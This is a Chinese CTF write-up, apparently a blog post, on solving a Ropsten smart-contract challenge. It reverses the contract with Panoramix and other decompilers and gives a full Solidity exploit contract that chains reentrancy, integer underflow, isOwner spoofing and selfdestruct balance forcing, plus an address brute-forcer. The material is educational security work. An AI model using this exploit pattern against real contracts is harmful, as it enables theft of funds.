文章目录[隐藏]
由于疫情学校还没开学,于是这几天一直在家里学(mo)习(yu)。前几天正好XCTF在办高校战“疫”,校内拉人打,所以就去打了一波。比赛两天,一天摸了一道题,总算也是有了点输出。第一天上来摸得Misc比较常规就不说了,主要来说一下第二天摸得区块链题吧。这是我第一次见到区块链合约的题目,此前完全不知道还有这种题目(是我不刷题,我自裁)。然后就花了一天时间从头学,把这题拿了下来。做题中遇到了很多坑,也积累了一些一般WP里没有提到的经验,所以我就自己写一篇文章来记录下这些细节。
简单了解了下以太坊的知识后,就可以搜集相关的工具了。
简单操作可以查看:实现CTF智能合约题目的环境部署
第一次使用需要在左侧Plugin Manager启用插件:Solidity compiler、Deploy & run transactions。
可以直接在Remix页面打开调试工具,这样还可以使用MetaMask管理钱包,非常方便。
显然这道题需要对合约进行逆向,所以我简单参考了下这类题目的出题方法和writeup。比较关键的是这两篇:实现CTF智能合约题目的环境部署、智能合约逆向心法34C3_CTF题分析(案例篇·一)。可以看到,发送邮件是通过监听Event Log来实现的,而Event Log的信息实际上是公开的。因此可以在etherscan看到其他成功解题者的记录,所以一个很直接的想法就是分析别人的解题过程(躺
不过出题人不是傻子,解题人也不是傻子,除非是特别简单的题目,否则拿别人的code直接重放基本上是不可能成功。别人的解题过程只能提供思路,而且并不会包含所有的解题细节。以我自己最终的解题流程(https://ropsten.etherscan.io/tx/0x7df847f7…)为例,可以简单的看出分析现有流程能得到什么。
看交易信息可以看出,这个交易实际上是调用了合约0x0fa9f3b59cd9dc6bb572a4e2d387e9d2aa508fff的getFlag(string b64email)函数,遂查看该合约。从合约现有的交易(不计Reverted和创建合约共6个)可以大致整理出调用的顺序:
然后关注合约间调用,会发现change执行后目标块连续回调了两次,attack执行后和目标块共有两次来回调用(每次转200wei),buy交易发送了1wei。能从交易记录分析出来的内容其实相当有限,但是合约间交易其实还是能说明一些问题的。之后如果想要获得进一步的信息,就需要对这个合约进行逆向分析了。
做人还是要有远大志向,不能老是靠蹲别人的合约过活,不仅浪费时间,而且说不定下次就能拿一血呢(桃饱网会员)。再说学了逆向就可以更好的分析现有解题用的合约了,因此我们直接来分析题目的合约(https://ropsten.etherscan.io/address/0x40a590…)。关于EVM的一些基础介绍可以参考文章:https://lilymoana.github.io/ethereum…。
有很多种方法,不过最简单的就是把合约代码(etherscan的contract)复制到文件中。执行
cat contract.hex | xxd -r -ps > contract.bin
就能获得合约的二进制形式了。
进入https://ethervm.io/decompile/把合约地址丢进去,你就能得到反编译和反汇编两个结果了,并且还会直接找出所有公开方法。反汇编结果暂且不论,简单提一下反编译结果的阅读。它的逆向结果是尽可能还原solidity的,因此代码风格类似solidity。
main函数对应的就是合约代码最开始的函数识别逻辑,检查msg.data[0x00:0x20]的函数签名并处理fallback函数。之后Ethervm会把每个函数抽取为对应“Internal Methods”,main中只保留从msg.data获得参数的代码,之后调用对应函数。比如
if (var0 == 0x1e77933e) {
// Dispatch table entry for change(address)
var1 = msg.value;
if (var1) { revert(memory[0x00:0x00]); }
var1 = 0x010c;
var var2 = msg.data[0x04:0x24] & 0xffffffffffffffffffffffffffffffffffffffff;
change(var2);
stop();
}
而且Ethervm不会尝试还原局部变量(包括编译生成的中间变量)和全局变量。所有出入栈都会被展开成类似这种形式:
var var0 = msg.sender;
var var1 = var0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var2 = 0x2f54bf6e;
var temp0 = memory[0x40:0x60];
memory[temp0:temp0 + 0x20] = (var2 & 0xffffffff) * 0x0100000000000000000000000000000000000000000000000000000000;
var temp1 = temp0 + 0x04;
memory[temp1:temp1 + 0x20] = arg0 & 0xffffffffffffffffffffffffffffffffffffffff;
var var3 = temp1 + 0x20;
var var4 = 0x20;
var var5 = memory[0x40:0x60];
var var6 = var3 - var5;
var var7 = var5;
var var8 = 0x00;
var var9 = var1;
var var10 = !address(var9).code.length;
并且也不会对storage信息(包括mapping)进行处理。基本上就是把字节码翻译为等价solidity代码。
IDA插件,用于disassemble并绘制flowt chart。需要先把合约转为二进制形式再进行读取,载入后可能需要手动C一下。
Rattle比ida-evm的效果好很多,而且不需要依赖诸如IDA的程序。Rattle会对字节码进行简化、调整格式,把代码转为SSA的形式,并进行一些优化。个人感觉读起来比ida-evm的结果要方便很多。
不过自带的函数hash表真的很小。而且有些函数会被留在_fallthrough里。而且最后的格式是图片,因此查看也多少有点麻烦,不过也已经非常适合用来分析了。
Panoramix是我用过的这几个工具里,逆向代码质量最好的。Panoramix的逆向结果是他们自己定义的pan,语法类似于Python。直接上一份题目代码的完整逆向结果:
#
# Panoramix 4 Oct 2019
# Decompiled source of 0x40a590b70790930ceed4d148bF365eeA9e8b35F4
#
# Let's make the world open source
#
const eth_balance = eth.balance(this.address)
def storage:
stor0 is addr at storage 0
stor1 is addr at storage 1
balanceOf is mapping of uint256 at storage 2
stor3 is mapping of uint8 at storage 3
unknown35983396 is mapping of uint256 at storage 4
def unknown35983396(addr _param1): # not payable
return unknown35983396[_param1]
def status(address _param1): # not payable
return bool(stor3[_param1])
def balanceOf(address _owner): # not payable
return balanceOf[_owner]
def unknownb4de8673(addr _param1): # not payable
return balanceOf[addr(_param1)]
#
# Regular functions
#
def _fallback() payable: # default function
revert
def unknown11f776bc(): # not payable
require caller != tx.origin
require caller % 4096 == 4095
if bool(stor3[caller]) == 1:
stor3[caller] = 0
stor0 = caller
def buy() payable:
require caller != tx.origin
require caller % 4096 == 4095
require not unknown35983396[caller]
require not balanceOf[caller]
require call.value == 1
balanceOf[caller] = 100
unknown35983396[caller] = 1
return 1
def unknown6bc344bc(array _param1): # not payable
require caller == stor0
require unknown35983396[caller] >= 100
stor0 = stor1
unknown35983396[caller] = 0
call 0x4cfbdfe01daef460b925773754821e7461750923 with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
log 0x296b9274: Array(len=_param1.length, data=_param1[all])
def change(address _toToken): # not payable
require ext_code.size(caller)
call caller.isOwner(address param1) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
if not ext_call.return_data[0]:
require ext_code.size(caller)
call caller.isOwner(address param1) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
stor3[caller] = uint8(bool(ext_call.return_data[0]))
def transfer(address _to, uint256 _value): # not payable
require _to
require _value > 0
require balanceOf[caller] >= _value
require balanceOf[addr(_to)] + _value > balanceOf[addr(_to)]
balanceOf[caller] -= _value
balanceOf[addr(_to)] += _value
require balanceOf[caller] + balanceOf[addr(_to)] == balanceOf[caller] + balanceOf[addr(_to)]
return 1
def sell(uint256 _amount): # not payable
require _amount >= 200
require unknown35983396[caller] > 0
require balanceOf[caller] >= _amount
require eth.balance(this.address) >= _amount
call caller with:
value _amount wei
gas gas_remaining wei
require this.address
require _amount > 0
require balanceOf[caller] >= _amount
require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
balanceOf[caller] -= _amount
balanceOf[addr(this.address)] += _amount
require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
unknown35983396[caller]--
return 1
可以看到,Panoramix能识别出require、能处理局部变量、能识别storage布局、能识别fallback函数,甚至能识别出mapping。对着这个输出结果基本上直接就能看出合约的逻辑。而且更骚的是,Etherscan目前已经集成了Panoramix(直接点合约页面Contract下方的Decompile ByteCode就行)。不过官网我试了下似乎并不能读取mainnet之外其他的合约,而且如果你要识别现有程序,就需要自己clone代码进行修改了:https://github.com/eveem-org/panoramix。
我推荐的patch是修改pano/loader.py的三处,一处是code_fetch函数(直接读取contract.hex):
def code_fetch(address, network='mainnet'):
with open('contract.hex', 'r') as f:
code = ''.join(f.readlines())
print(code)
return code
另一处是load_binary函数,在while循环前加入一行source = source.replace(‘\n’, ”)。还有一处就是注释import secret。之后把合约hex数据存入contract.hex,然后调用程序传入合约地址就行。另外,逆向过程中还有可能产生一些工具函数的调用,可以参考官网的文档:https://eveem.org/tutorial/。
看着很香,但是还没试过,先咕着:https://github.com/fergarrui/ethereum-graph-debugger。
当时做题的时候我是直接阅读Ethervm的(读的还是很痛苦的,因为没搞懂Panoramix的输出格式),不过由于Panoramix的输出更友好,所以相关代码将会用Panoramix的逆向结果说明。
从题目来看,题目最终的目的是触发事件event pikapika_SendFlag(string b64email)。但是题目没有提供合约源码,因此本题需要对合约进行逆向。显然payforflag(string)和flag获得有关,而且方法逻辑中确实调用了log函数。
def unknown6bc344bc(array _param1): # not payable
require caller == stor0
require unknown35983396[caller] >= 100
stor0 = stor1
unknown35983396[caller] = 0
call 0x4cfbdfe01daef460b925773754821e7461750923 with:
value eth.balance(this.address) wei
gas 2300 * is_zero(value) wei
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
log 0x296b9274: Array(len=_param1.length, data=_param1[all])
分析可以看出:
之后会清除unknown35983396、修改stor0、将所有余额转至0x4cfbdfe01daef460b925773754821e7461750923、记录事件日志。寻找unknown35983396的使用,可以发现其修改共有两处(除了归零),一次位于sell(uint256)每次调用自减,另外就是buy()时设置为1。由于没有检查溢出,因此明显需要调用两次sell(uint256)。
def sell(uint256 _amount): # not payable
require _amount >= 200
require unknown35983396[caller] > 0
require balanceOf[caller] >= _amount
require eth.balance(this.address) >= _amount
call caller with:
value _amount wei
gas gas_remaining wei
require this.address
require _amount > 0
require balanceOf[caller] >= _amount
require balanceOf[addr(this.address)] + _amount > balanceOf[addr(this.address)]
balanceOf[caller] -= _amount
balanceOf[addr(this.address)] += _amount
require balanceOf[caller] + balanceOf[addr(this.address)] == balanceOf[caller] + balanceOf[addr(this.address)]
unknown35983396[caller]--
return 1
sell(uint256)的参数是售卖的数量。观察限制条件发现,需要:
之后函数会发送空数据调用给调用方进行转账(eth),处理代币的转账,最后修改unknown35983396。要修改两次unknown35983396,显然需要重复调用sell(uint256),并且第二次调用产生在状态修改前。因此可以在转账eth的时候再次发起一次sell(uint256)的调用,这可以通过fallback函数来实现。
为了更改代币余额,查找相关函数,可以发现代币余额的调整发生在buy()函数。
def buy() payable:
require caller != tx.origin
require caller % 4096 == 4095
require not unknown35983396[caller]
require not balanceOf[caller]
require call.value == 1
balanceOf[caller] = 100
unknown35983396[caller] = 1
return 1
函数调用需满足tx.origin == msg.sender(也就是需要通过其他合约访问)、合约地址结尾msg.sender & 0x0fff == 0x0fff 。因此显然要编写漏洞利用合约,并且需要控制合约地址。由于unknown35983396的要求,buy只可以调用一次,并且一次只能转账1 wei。
由于要调用两次sell(uint256),而且_amount >= 200,因此调用账户至少需要有400单位代币,并且合约账户eth余额 >= 400wei。400单位代币可以通过使用其他账户购买,并调用transfer(address,uint256)将代币余额转到最终调用sell(uint256)的账户。而账户eth余额,由于合约只有buy()一个payable函数,所以如果用buy()转账就要调用400次,显然很麻烦。因此可以采用selfdestruct指定参数的方法转出合约的全部余额。
另外关于stor0,可以看到在函数签名为0x11f776bc的函数中进行了修改。
def unknown11f776bc(): # not payable
require caller != tx.origin
require caller % 4096 == 4095
if bool(stor3[caller]) == 1:
stor3[caller] = 0
stor0 = caller
这里还要求mapping stor3设为1。可以查找到,stor3的修改位于change(address)。
def change(address _toToken): # not payable
require ext_code.size(caller)
call caller.isOwner(address param1) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
if not ext_call.return_data[0]:
require ext_code.size(caller)
call caller.isOwner(address param1) with:
gas gas_remaining wei
args _toToken
if not ext_call.success:
revert with ext_call.return_data[0 len return_data.size]
require return_data.size >= 32
stor3[caller] = uint8(bool(ext_call.return_data[0]))
这里两次调用了消息发送方的isOwner(address)函数,并且要求调用结果一次返回假、一次返回真。
通过分析可以看出,主要利用的是重入攻击(Reentrancy Attack)和算数溢出。可以整理出漏洞利用的大致流程:
利用代码如下:
pragma solidity >=0.4.22 <0.7.0;
contract Exp {
address private me;
address private game = 0x40a590b70790930ceed4d148bF365eeA9e8b35F4;
bool private ownerAsk = false;
bool private recall = false;
constructor() public {
me = msg.sender;
}
modifier check() {
require(msg.sender == me, "Caller is not owner");
_;
}
event OwnerCheck(bytes data, address who, address check, bool ret, bool flag);
function isOwner(address check) external view returns (bool) {
emit OwnerCheck(msg.data, msg.sender, check, check == me, ownerAsk);
if (check == me) {
if (!ownerAsk) {
ownerAsk = true;
return false;
}
return true;
}
return false;
}
function payme() public payable {}
function buy() public check {
game.call.gas(msg.gas).value(0x01)(bytes4(keccak256("buy()")));
}
function change() public check {
game.call.gas(msg.gas)(bytes4(keccak256("change(address)")), me);
}
function transfer(address addr) public check {
game.call.gas(msg.gas)(bytes4(keccak256("transfer(address,uint256)")), addr, uint256(100));
}
function attack() public check {
game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
}
event FallbackCalled(bytes data, address who);
function () payable {
emit FallbackCalled(msg.data, msg.sender);
if (msg.sender == game && !recall) {
recall = true;
game.call.gas(msg.gas)(bytes4(keccak256("sell(uint256)")), uint256(200));
}
}
function claim() public check {
var sig = 0x11f776bc;
game.call.gas(msg.gas)(bytes4(sig));
}
function getFlag(string b64email) public check {
game.call.gas(msg.gas)(abi.encodeWithSignature("payforflag(string)", b64email));
}
function kill() public check {
if (me == msg.sender) {
selfdestruct(me);
}
}
function trans() public check {
if (me == msg.sender) {
selfdestruct(game);
}
}
function reset() public check {
recall = false;
ownerAsk = false;
}
function set(bool a, bool b) public check {
recall = a;
ownerAsk = b;
}
}
题目要求合约地址末尾为0xfff。合约地址的计算实际上是rlp编码的[钱包地址, nonce(交易次数)]。根据钱包地址穷举nonce一般会得到一个很大的值(我自己试了几个在两三千左右),这么大的交易次数要想达到还是很麻烦的。因此可以设置nonce = 0,之后随机生成钱包账户检查是否符合。生成代码如下(node.js):
const rlp = require('rlp');
const keccak = require('keccak');
const Web3 = require('web3');
var CryptoJS = require('crypto-js');
var EC = require('elliptic').ec;
var ec = new EC('secp256k1');
var nonce = 0x00;
function make(sender, nonce) {
var input_arr = [ sender, nonce ];
var rlp_encoded = rlp.encode(input_arr);
var contract_address_long = keccak('keccak256').update(rlp_encoded).digest('hex');
var contract_address = contract_address_long.substring(24); // Trim the first 24 characters.
return contract_address;
}
var private;
function create() {
var keyPair = ec.genKeyPair();
// Set the privKey
private = keyPair.getPrivate();
// Derive the pubKey
var compact = false;
var pubKey = keyPair.getPublic(compact, 'hex').slice(2);
// pubKey -> address
var pubKeyWordArray = CryptoJS.enc.Hex.parse(pubKey);
var hash = CryptoJS.SHA3(pubKeyWordArray, { outputLength: 256 });
var address = hash.toString(CryptoJS.enc.Hex).slice(24);
return address;
}
while (true) {
addr = create();
caddr = make('0x' + addr, nonce);
if (caddr.slice(-3) == 'fff') {
console.log(caddr);
console.log(addr);
console.log(private.toString(16));
break;
}
}
Gas是执行合约函数的工本费,收费标准和编译后形成的指令有关,这里注意的是Gas一定要给够。如果Gas不给够,那合约调用是不会产生效果的。
使用Remix的调试工具发送交易确实很简单,但是有时候还是需要自定义交易内容的。比如漏洞利用合约的payme(),需要设置value值确定转账数额。此时可以用web3.js自定义交易内容:
let obj = {
to: "", // 目标地址
gas: 3000000, // gas值
value: 1, // value值,单位:wei
data:"" // 交易数据
// 其余请自行查阅文档
};
web3.eth.sendTransaction(obj, (err, address) => {
if (!err)
console.log(address);
});
由于漏洞利用步骤复杂,很容易搞错小步骤导致后续利用失败,因此可以检查mapping的值来判断是否正确调用。mapping实际上也是存储在Storage中的,并且它位移的计算是:keccak256(调用方地址 + mapping位移)。mapping位移就是Storage的偏移,Panoramix的输出中即at storage后面的数字。
使用web3.js可以查询到Storage的数据:
web3.eth.getStorageAt("合约地址", "偏移", function(x,y){console.log(x,y);})
由于以太坊是完全透明公开的,所以你的漏洞利用合约和调用记录完全是公开透明的,因此要想防止别人分析你的解题合约还是有一定难度的。这里提供几个建议:
不过说实话,就算拿到了解题合约,如果题目出的足够好,那分析得到的结果也没有太大的用处。因此其实还要看题目的质量如何。